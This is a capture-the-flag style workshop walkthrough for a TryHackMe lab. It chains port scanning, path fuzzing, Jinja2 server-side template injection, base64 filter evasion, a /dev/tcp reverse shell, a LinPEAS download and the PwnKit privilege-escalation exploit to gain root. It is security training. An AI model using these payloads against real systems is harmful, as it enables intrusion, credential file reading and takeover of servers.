P&T Dag Hacking Workshop


Scenario

You are part of the SDB Security and Compliance team and have found a running server everybody has forgotten. We need to get access to it to check if it contains important data presumed lost!

The only thing that you have been given is a single IP Address..

Throughout this text, we’ll use IP 10.a.b.c to refer to the attacking machine and 10.x.y.z to refer to the victim machine.
You can find the exact IPs in the TryHackMe interface after they’ve started.

There’s not one right way to hack, every solution given here is just one of many options.
If you find a different way to obtain your objectives, good for you!


Challenge #0 : Gain access to the TryHackMe training room.

Difficulty: “I know how a browser works!”

⚠️ Please note that for this workshop we (ab)use a TryHackMe training room, but we will not follow the instructions of that room (we will be doing cooler stuff), so please ignore the steps in that room, and use the ones on this page.

  • Visit https://tryhackme.com/ and create an account. Feel free to use whatever options you like, it makes no difference for today.
  • Open https://tryhackme.com/r/room/learnssti
  • Press Join Room
  • These two can be simultaneously:
    • Press β–ΆStart Machine to start the victim machine we’ll attack. Takes 1 minute to boot. Note: this machine can not access the internet, only your machine (Attackbox).
    • Press Start Attackbox to start the machine we’ll use to attack the victim. Takes 2 minutes to boot.
  • After both machines started, an IP address has appeared under Target IP Address, write it down, this is the IP that you will be attacking.
  • In the AttackBox on the right side, press the ‘View in full-screen’ button to open it in a new window:
  • When it asks, it’s very handy to allow clipboard access.

Challenge #1 : Find the HTTP service.

Difficulty: Easy

You know it’s a web application, but visiting http://10.10.x.y/ (port 80) or https://10.10.x.y (port 443) does not seem to work.
Services can be hosted on other ports though, so maybe it’s running on another port?

Objective: Find an open port running a HTTP service.

There are 65.535 ports and you can visit them all manually by visiting http://10.10.x.y:1/ through :65535, but perhaps you can automated this and scan this IP address for open ports with a famous command-line port scanning and fingerprinting tool?

By the way, make sure to fingerprint the services too, you might need this information later on.

When you find the application HTTP port, open the application through http://{ip}:{port} (eg. http://10.10.12.34:1337/)
If a page is returned, any page, you found the HTTP service!

Hint

Use a famous command-line tool to scan for open ports.

Details
  • Open a terminal by double-clicking on “Terminal” on the Desktop.
  • Use the tool nmap to scan for ports on the target IP address.
Solution

Use the nmap -sV 10.x.y.z command to scan the IP for the top 100 (default) ports on the target IP.
The -sV flag fingerprints found services.


Challenge #2 : Find the hidden page.

Difficulty: Easy

You found the application web-service! But hold on.. a 404 Not Found page? There must be a place where you can actually use the application?
A login page, admin area, account or profile information? There has to be something.

Objective: Find a web application page/route that returns something else than a 404 Not Found error.

Just like with scanning for open ports, trying to find directories and pages manually will be very time consuming.
Fun fact: When a directory consists of just 7 letters, like the one you are actually looking for right now as a matter of fact, the likelihood of guessing the right combination will be 1 in 8031810176 (over 8 BILLION!). This is also why using Password managers with generated passwords is considered ‘a pro move’.

Perhaps you can scan for pages using widely used folder scanning/fuzzing tooling that uses word-lists containing common path names?

To save you some time, a free hint is that the server does not respond to bare folder names without a filename, such as http://10.x.y.z/user/

When you find a page that returns something else than a 404 Not Found error, you found the hidden page!

Hint

Use a folder scanning command-line tool to find the page “/1” in a commonly used path. Note that some folder scanning (‘busting’) tools only look for bare folders- often useful, but not in this case.

Details
  • Open a terminal by double-clicking on “Terminal” on the Desktop.
  • Use the tool ffuf to scan for pages on the target IP address.
  • Look for the page http://10.x.y.z:port/{hiddenPath}/1
Solution


Use the following command to find the hidden page:
ffuf -w Tools/wordlists/dirb/small.txt -u http://10.x.y.z:5000/FUZZ/1

Scroll until you see the FUZZ replacement that worked, profile, resulting in http://10.x.y.z:5000/profile/1


Challenge #3 : Hello World!

Difficulty: Easy

Alright! You found a page that might do things!
It says “Welcome to the profile of 1”. this looks like this page has reflected input.

Objective: Make the page write “Hello World!”

Input is usually taken from somewhere, usually from somewhere in the URL.

When you manage to print “Hello World!” on the page it means that the input is processed by the application somehow.
This might be useful for the next challenge..

Hint

Input is usually taken from somewhere, usually from somewhere in the URL.

Details

Change the URL so that the page no longer outputs “1”.

Solution


Change the URL to:
http://10.x.y.z:5000/profile/Hello World



Challenge #4 : Server Side Template Injection. (SSTI)

Difficulty: Medium

The page processes input, but how can you exploit this?

You know the application uses Python Flask and that the HTTP service returned “Werkzeug” during your port scan.
This can only mean one thing.. you’re dealing with a templating engine!

Most template engines use a similar character set for their “special functions” which makes it relatively quick to detect if it’s vulnerable to Server Side Template Injection (SSTI). For example, the following characters are known to be used in quite a few template engines: ${{<%[%'"}}%

You therefore decide to try some “Fuzzing”, a technique to determine whether the server is vulnerable by sending multiple characters in hopes to interfere with the back-end system..

Objective: Combine special characters until the server does something unexpected, then abuse this to output the sum of 7 * 7.

Hint

Use and combine special characters until you get a Server Error.
It seems you have found the syntax of the templating engine. Use it to calculate (and output) 7 * 7.

Details

Use the following reference sheet:

Solution


Change the URL to:
http://10.x.y.z:5000/profile/{{7*7}}

So you know the engine is either Jinja2 or Twig. Since Werkzeug was used (see above), a Python library, we can conclude it’s Jinja2 (Twig is based on PHP)


Challenge #5: Command injection.

Difficulty: High

Arbitrary code can be injected. Next stop: Running commands!

You use your Google Fu skills to figure out how to inject code to run a command in your newly discovered exploit syntax.

Objective: Run the command whoami to return the name of the linux username of the running service.

Hint

We’ve seen inserted code is being evaluated. How about putting a Python object in it to see if we can come across interesting object abilities?

Details

Since Jinja2 is a Python based template engine, we will look at ways to run shell commands in Python.

A quick Google search brings up a blog that details different ways to run shell commands. A few example are:


Combining all of this knowledge, we are able to build a proof of concept (POC).

Note that Jinja2 does not give access to the complete Python object tree, so we’ll have to puzzle to find the right fit.

Crafting a proof of concept (Jinja2)

Python allows us to call the current class instance with .__class__, we can call this on an empty string:

http://10.x.y.z:5000/profile/{{ ''.__class__ }}

Classes in Python have an attribute called .__mro__ that allows us to climb up the inherited object tree:

http://10.x.y.z:5000/profile/{{ ''.__class__.__mro__ }}

Since we want the root object, we can access the second property (first index):

http://10.x.y.z:5000/profile/{{ ''.__class__.__mro__[1] }}

Objects in Python have a method called .__subclassess__ that allows us to climb down the object tree:

http://10.x.y.z:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}

Now we need to find an object that allows us to run shell commands.
Doing a Ctrl-F for the modules in the code above yields us a match:

As this whole output is just a Python list, we can access this by using its index. You can find this by either trial and error, or by counting its position in the list.

In this example, the position in the list is 400 (index 401):

http://10.x.y.z:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}

Solution

The above payload essentially calls the subprocess.Popen method, now all we have to do is invoke it (use the code above for the syntax)

http://10.x.y.z:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}

Note that there’s also this awesome list of known server side template injection possibilities, including for Jinja2.

You’ll see one of the alternative (but less obvious) options is using cycler.__init__.__globals__.os.popen.

Using that, out command would be:

http://10.x.y.z:5000/profile/{{ cycler.__init__.__globals__.os.popen('whois').read() }}




Challenge #6: Overcoming annoying character filters.

Difficulty: High

You can send commands, but there seem to be filters at work making maximum enjoyment difficult.
For example, you want to view the user shell definitions, which can be retrieved with cat /etc/passwd

But due to some character filter we get a server error using this command as is, and regular escaping also won’t work.
So how do you smuggle this command through?

Objective: Run cat /etc/passwd successfully.

Hint

Through pipe characters ( | ), you can feed a command to be executed to a shell.
If that’s allowed, you may use that to transform character strings. How about using Base64?

Details

You can pass a Base64 string to a decoder, and send the decoded command to a shell with:
echo BASE64STRING | base64 --decode | bash

To create BASE64STRING, you can use the following terminal command, (or via a handy website):
echo -n 'cat /etc/passwd' | base64

Solution

http://10.x.y.z:5000/profile/{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('echo Y2F0IC9ldGMvcGFzc3dk | base64 --decode | bash').read() }}


Challenge #7 : Get a shell.

Difficulty: High

Now you can run any command, but it’s very unpractical, and hard to explore the server.
Let’s arrange a reverse shell (incoming connection from the victim to your Attackbox terminal)!

Objective: Get a (reverse) shell.

Hint

Open a listening port to interact with from your Attackbox shell.
There’s an awesome website with example command recipes to start a shell connection on your victim machine.

Details

On the Attackbox terminal, you can use nc to open a listening port to interact with any incoming connections.
To prepare the victim command, the first command (Bash -i) is a perfectly fine one to feed the victim.

Solution

In this example we use a random port number, 4545. The port number doesn’t really matter as long as it’s high enough not to conflict with an already open one, and of course you use the same number at the victim side πŸ™‚

In the Attackbox terminal, enter nc -lvp 4545 (listen, verbose, port 4545).

Note: If you want to test it, open a second terminal on the Attackbox and enter nc 127.0.0.1 4545.
The listening process should say ‘Connection received’ and you can chat between the windows.
Use ^C to end (both will stop). Restart the listening process.

The command you want to push is sh -i >& /dev/tcp/10.a.b.c/d 0>&1
(10.a.b.c being your Attackbox IP and d your listening port)

After filling in a, b and c, base64-encode the resulting command.

Use the resulting URL in the browser, and your listening nc process should pop up with a $ prompt similar to:



Challenge #8: Prepare for god mode.

Difficulty: Medium

You’re a regular user now. You don’t know the password of the jake user, so can’t use the sudo command to become root (administrator).
You’re not going to accept this fate though, let’s find a weakness to exploit!

Objective: Find an exploit for privilege escalation.

Hint

The admin has not been careful with patching, see uname -a, they’re running an outdated version of Linux!
An effective lazy way to scan a server for common vulnerabilities is using LinPEAS – Linux Privilege Escalation Awesome Script.

Details

On the Attackbox, LinPEAS is already available at /opt/PEAS/linPEAS/:

  • Open the command line, go to the LinPEAS folder, start a basic HTTP server (defaults port 8000, current folder):
  • cd /opt/PEAS/linPEAS/
  • python -m http.server

On the victim, download LinPEAS from your Attackbox:

  • cd /tmp (to go to a folder you can write in)
    curl -O 10.a.b.c:8000/linpeas.sh
  • chmod +x linpeas.sh (Make it executable)
  • ./linpeas.sh -o system_information (Go! We now limit ourselves to the system information, otherwise you drown in interesting info)
  • Vulnerabilities are already mentioned soon enough πŸ™‚ These have a “CVE” identifier.
Solution

The first found vulnerability, CVE-2021-4034, is a widely exploited local privilege escalation bug in pkexec, an executable available in most Linux distributions. You can read its background, good to understand what you’re doing, but for time we suggest you do it later πŸ™‚


Challenge #9: Root or gtfo.

Difficulty: Low

You know an exploit to use. Let’s go!

Objective: Become root.

Hint

LinPEAS linked to an exploit for the vulnerability. Compile it on the machine and run!

Details

LinPEAS helpfully linked to the exploit.

Unfortunately, the Attackbox has no connection to the wider internet to download it. However, you can easily copy-paste the text of the relevant files to the Attackbox, and then use the HTTP server from the previous challenge to get them on the victim. When using your own attack machine you’d have no such limitation of course

To compile a C program, you can use make.

Solution

First, get the exploitfiles on the Attackbox, and for the three core exploit files cve-2021-4034.c, pwnkit.c and Makefile:

On the Attackbox:

  • Open a text editor. You can for example use Sublime Text, which you can find here:
  • Paste the file contents from your local browser to the editor
  • Save the file to a folder you’ll later use for upload.
    • Protip: if you’re lazy, you can save in folder /opt/PEAS/linPEAS/, from which you’ll likely still serve files from the linpeas step. Then you’re immediately set for transferring them to the victim.
      • Does it make a mess? Sure!
      • Does that matter for a server which disappears after you disconnect? You decide πŸ™‚

If not already running from the previous step, start a http server from the folder you saved them in.

On the victim:

  • Download the 3 code files:
    curl -O 10.a.b.c:8000/cve-2021-4034.c
    curl -O 10.a.b.c:8000/pwnkit.c
    curl -O 10.a.b.c:8000/Makefile
  • Compile the code with make
  • Run ./cve-2021-4034
  • Profit!

Unlike TV series, this last step does not yield on-screen blinking skulls, nor Matrix falling character streams.
To be precise, you see nothing. Until you type the command whoami